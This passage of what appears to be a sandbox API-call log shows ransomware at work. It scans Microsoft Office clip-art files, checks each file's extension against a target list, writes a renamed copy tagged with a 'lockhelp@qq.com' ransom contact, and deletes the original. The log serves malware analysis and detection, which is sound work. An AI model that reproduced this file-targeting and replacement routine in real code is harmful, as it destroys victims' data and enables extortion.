(lpString=".rar") returned 4 [0307.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.010] lstrlenW (lpString=".bz2") returned 4 [0307.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.010] lstrlenW (lpString=".7z") returned 3 [0307.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0307.010] lstrlenW (lpString=".dbf") returned 4 [0307.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0307.010] lstrlenW (lpString=".1cd") returned 4 [0307.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0307.010] lstrlenW (lpString=".jpg") returned 4 [0307.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.011] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=21782) returned 1 [0307.011] CloseHandle (hObject=0x370) returned 1 [0307.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0307.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0307.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0307.012] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.012] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0307.013] GetLastError () returned 0x0 [0307.013] ReadFile (in: hFile=0x370, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x5516, lpOverlapped=0x0) returned 1 [0307.120] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x5520, lpOverlapped=0x0) returned 1 [0307.121] ReadFile (in: hFile=0x370, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0307.121] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0307.122] SetEndOfFile (hFile=0x4c4) returned 1 [0307.122] CloseHandle (hObject=0x4c4) returned 1 [0307.122] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.122] SetEndOfFile (hFile=0x370) returned 1 [0307.124] CloseHandle (hObject=0x370) returned 1 [0307.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0307.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0307.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0307.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0307.518] lstrlenW (lpString=".doc") returned 4 [0307.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.518] lstrlenW (lpString=".docx") returned 5 [0307.518] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.518] lstrlenW (lpString=".pdf") returned 4 [0307.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.518] lstrlenW (lpString=".xls") returned 4 [0307.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.518] lstrlenW (lpString=".xlsx") returned 5 [0307.519] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.519] lstrlenW (lpString=".ppt") returned 4 [0307.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0307.519] lstrlenW (lpString=".zip") returned 4 [0307.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.519] lstrlenW (lpString=".rar") returned 4 [0307.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.519] lstrlenW (lpString=".bz2") returned 4 [0307.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.519] lstrlenW (lpString=".7z") returned 3 [0307.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0307.519] lstrlenW (lpString=".dbf") returned 4 [0307.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0307.519] lstrlenW (lpString=".1cd") returned 4 [0307.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0307.519] lstrlenW (lpString=".jpg") returned 4 [0307.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.626] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19898) returned 1 [0307.626] CloseHandle (hObject=0x414) returned 1 [0307.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0307.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0307.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0307.881] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.881] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0307.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0308.111] GetLastError () returned 0x0 [0308.111] ReadFile (in: hFile=0x370, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x4dba, lpOverlapped=0x0) returned 1 [0308.620] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0308.621] ReadFile (in: hFile=0x370, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0308.621] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0308.621] SetEndOfFile (hFile=0x514) returned 1 [0308.621] CloseHandle (hObject=0x514) returned 1 [0308.622] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0308.622] SetEndOfFile (hFile=0x370) returned 1 [0309.016] CloseHandle (hObject=0x370) returned 1 [0309.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0309.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0309.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0309.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0309.315] lstrlenW (lpString=".doc") returned 4 [0309.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.315] lstrlenW (lpString=".docx") returned 5 [0309.315] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0309.315] lstrlenW (lpString=".pdf") returned 4 [0309.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.315] lstrlenW (lpString=".xls") returned 4 [0309.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.315] lstrlenW (lpString=".xlsx") returned 5 [0309.315] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0309.315] lstrlenW (lpString=".ppt") returned 4 [0309.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0309.315] lstrlenW (lpString=".zip") returned 4 [0309.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.315] lstrlenW (lpString=".rar") returned 4 [0309.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.315] lstrlenW (lpString=".bz2") returned 4 [0309.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.316] lstrlenW (lpString=".7z") returned 3 [0309.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0309.316] lstrlenW (lpString=".dbf") returned 4 [0309.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0309.316] lstrlenW (lpString=".1cd") returned 4 [0309.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0309.316] lstrlenW (lpString=".jpg") returned 4 [0309.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.317] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3332) returned 1 [0309.317] CloseHandle (hObject=0x4f0) returned 1 [0309.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0309.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0309.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0309.317] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.317] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0309.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0309.318] GetLastError () returned 0x0 [0309.318] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xd04, lpOverlapped=0x0) returned 1 [0312.335] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xd10, lpOverlapped=0x0) returned 1 [0312.336] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0312.336] WriteFile (in: hFile=0x514, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0312.336] SetEndOfFile (hFile=0x514) returned 1 [0312.499] CloseHandle (hObject=0x514) returned 1 [0312.499] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.499] SetEndOfFile (hFile=0x4f0) returned 1 [0312.538] CloseHandle (hObject=0x4f0) returned 1 [0312.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0312.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0312.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0312.539] lstrlenW (lpString=".doc") returned 4 [0312.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.540] lstrlenW (lpString=".docx") returned 5 [0312.540] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0312.540] lstrlenW (lpString=".pdf") returned 4 [0312.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.540] lstrlenW (lpString=".xls") returned 4 [0312.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.540] lstrlenW (lpString=".xlsx") returned 5 [0312.540] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0312.540] lstrlenW (lpString=".ppt") returned 4 [0312.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0312.540] lstrlenW (lpString=".zip") returned 4 [0312.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.540] lstrlenW (lpString=".rar") returned 4 [0312.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.540] lstrlenW (lpString=".bz2") returned 4 [0312.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.540] lstrlenW (lpString=".7z") returned 3 [0312.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0312.540] lstrlenW (lpString=".dbf") returned 4 [0312.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0312.540] lstrlenW (lpString=".1cd") returned 4 [0312.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0312.541] lstrlenW (lpString=".jpg") returned 4 [0312.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.541] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=4970) returned 1 [0312.541] CloseHandle (hObject=0x4f0) returned 1 [0312.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0312.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0312.542] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.542] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0312.543] GetLastError () returned 0x0 [0312.543] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x136a, lpOverlapped=0x0) returned 1 [0312.760] WriteFile (in: hFile=0x370, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1370, lpOverlapped=0x0) returned 1 [0312.762] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0312.762] WriteFile (in: hFile=0x370, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0312.762] SetEndOfFile (hFile=0x370) returned 1 [0312.762] CloseHandle (hObject=0x370) returned 1 [0312.762] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.763] SetEndOfFile (hFile=0x4f0) returned 1 [0312.765] CloseHandle (hObject=0x4f0) returned 1 [0312.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0312.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0312.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0312.766] lstrlenW (lpString=".doc") returned 4 [0312.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.766] lstrlenW (lpString=".docx") returned 5 [0312.766] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0312.766] lstrlenW (lpString=".pdf") returned 4 [0312.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.766] lstrlenW (lpString=".xls") returned 4 [0312.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.766] lstrlenW (lpString=".xlsx") returned 5 [0312.767] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0312.767] lstrlenW (lpString=".ppt") returned 4 [0312.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0312.767] lstrlenW (lpString=".zip") returned 4 [0312.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.767] lstrlenW (lpString=".rar") returned 4 [0312.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.767] lstrlenW (lpString=".bz2") returned 4 [0312.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.767] lstrlenW (lpString=".7z") returned 3 [0312.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0312.767] lstrlenW (lpString=".dbf") returned 4 [0312.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0312.767] lstrlenW (lpString=".1cd") returned 4 [0312.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0312.767] lstrlenW (lpString=".jpg") returned 4 [0312.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.768] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=18258) returned 1 [0312.768] CloseHandle (hObject=0x4f0) returned 1 [0312.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220 [0312.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0312.768] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.768] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 